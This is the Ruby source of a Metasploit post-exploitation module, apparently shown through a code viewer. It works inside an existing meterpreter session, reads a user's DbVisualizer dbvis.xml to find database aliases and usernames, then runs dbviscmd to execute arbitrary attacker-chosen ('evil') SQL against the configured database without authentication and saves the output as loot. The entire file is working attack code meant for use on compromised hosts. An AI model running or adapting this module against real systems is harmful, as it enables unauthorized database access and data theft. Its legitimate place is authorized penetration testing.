223 lines
6.4 KiB
Ruby
223 lines
6.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Multi Manage DbVisualizer Query',
|
|
'Description' => %q{
|
|
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
|
|
(With GUI). The remote database can be accessed from the command line without the need
|
|
to authenticate, and this module abuses this functionality to query and will store the
|
|
results.
|
|
|
|
Please note: backslash quotes and your (stacked or not) queries should
|
|
end with a semicolon.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
|
|
'References' => [
|
|
['URL', 'http://youtu.be/0LCLRVHX1vA']
|
|
],
|
|
'Platform' => %w[linux win],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_fs_stat
|
|
stdapi_sys_config_getenv
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),
|
|
OptString.new('QUERY', [true, 'The query you want to execute on the remote database', '']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def run
|
|
db_type = exist_and_supported
|
|
unless db_type.blank?
|
|
dbvis = find_dbviscmd
|
|
unless dbvis.blank?
|
|
dbvis_query(dbvis, datastore['QUERY'])
|
|
end
|
|
end
|
|
end
|
|
|
|
# Check if the alias exist and if database is supported by this script
|
|
def exist_and_supported
|
|
case session.platform
|
|
when 'linux'
|
|
user = session.shell_command('whoami')
|
|
print_status("Current user is #{user}")
|
|
|
|
if (user =~ /root/)
|
|
user_base = '/root/'
|
|
else
|
|
user_base = "/home/#{user}/"
|
|
end
|
|
|
|
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
|
|
when 'windows'
|
|
user_profile = session.sys.config.getenv('USERPROFILE')
|
|
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
|
|
end
|
|
|
|
unless file?(dbvis_file)
|
|
# File not found, we next try with the old config path
|
|
print_status("File not found: #{dbvis_file}")
|
|
print_status('This could be an older version of dbvis, trying old path')
|
|
|
|
case session.platform
|
|
when 'linux'
|
|
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
|
|
when 'windows'
|
|
dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"
|
|
end
|
|
|
|
unless file?(dbvis_file)
|
|
print_error("File not found: #{dbvis_file}")
|
|
return
|
|
end
|
|
|
|
old_version = true
|
|
end
|
|
|
|
print_status("Reading : #{dbvis_file}")
|
|
raw_xml = ''
|
|
begin
|
|
raw_xml = read_file(dbvis_file)
|
|
rescue EOFError
|
|
# If there's nothing in the file, we hit EOFError
|
|
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
|
|
return
|
|
end
|
|
|
|
db_found = false
|
|
alias_found = false
|
|
db_type = nil
|
|
db_type_ok = false
|
|
|
|
# fetch config file
|
|
raw_xml.each_line do |line|
|
|
if line =~ /<Database id=/
|
|
db_found = true
|
|
elsif line =~ %r{</Database>}
|
|
db_found = false
|
|
end
|
|
|
|
next unless db_found == true
|
|
|
|
# checkthe alias
|
|
if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))
|
|
alias_found = true
|
|
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
|
|
end
|
|
|
|
if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found
|
|
print_good("Username for this connection : #{::Regexp.last_match(1)}")
|
|
end
|
|
|
|
# check the type
|
|
if (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found
|
|
db_type = ::Regexp.last_match(1)
|
|
alias_found = false
|
|
end
|
|
end
|
|
if db_type.blank?
|
|
print_error('Database alias not found in dbvis.xml')
|
|
end
|
|
return db_type # That is empty if DB is not supported
|
|
end
|
|
|
|
# Find path to dbviscmd.sh|bat
|
|
def find_dbviscmd
|
|
case session.platform
|
|
when 'linux'
|
|
dbvis = session.shell_command('locate dbviscmd.sh').chomp
|
|
if dbvis.chomp == ''
|
|
print_error('dbviscmd.sh not found')
|
|
return nil
|
|
else
|
|
print_good("Dbviscmd found : #{dbvis}")
|
|
end
|
|
when 'windows'
|
|
# Find program files
|
|
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
|
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
|
|
if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)
|
|
program_files = progfiles_x86 # x64
|
|
else
|
|
program_files = progfiles_env['ProgramFiles'] # x86
|
|
end
|
|
dirs = []
|
|
session.fs.dir.foreach(program_files) do |d|
|
|
dirs << d
|
|
end
|
|
dbvis_home_dir = nil
|
|
# Browse program content to find a possible dbvis home
|
|
dirs.each do |d|
|
|
if (d =~ /DbVisualizer[\S+\s+]+/i)
|
|
dbvis_home_dir = d
|
|
end
|
|
end
|
|
if dbvis_home_dir.blank?
|
|
print_error('Dbvis home not found, maybe uninstalled ?')
|
|
return nil
|
|
end
|
|
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
|
|
unless file?(dbvis)
|
|
print_error('dbviscmd.bat not found')
|
|
return nil
|
|
end
|
|
print_good("Dbviscmd found : #{dbvis}")
|
|
end
|
|
return dbvis
|
|
end
|
|
|
|
# Query execution method
|
|
def dbvis_query(dbvis, sql)
|
|
error = false
|
|
resp = ''
|
|
if file?(dbvis) == true
|
|
f = session.fs.file.stat(dbvis)
|
|
if (f.uid == Process.euid) || Process.groups.include?(f.gid)
|
|
print_status('Trying to execute evil sql, it can take time ...')
|
|
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
|
|
dbvis = "\"#{dbvis}\""
|
|
cmd = "#{dbvis} #{args}"
|
|
resp = cmd_exec(cmd)
|
|
print_line('')
|
|
print_line(resp.to_s)
|
|
# store qury and result
|
|
p = store_loot(
|
|
'dbvis.query',
|
|
'text/plain',
|
|
session,
|
|
resp.to_s,
|
|
'dbvis_query.txt',
|
|
'dbvis query'
|
|
)
|
|
print_good("Query stored in: #{p}")
|
|
else
|
|
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
|
|
end
|
|
else
|
|
print_error("#{dbvis} is not a file")
|
|
end
|
|
return error
|
|
end
|
|
end
|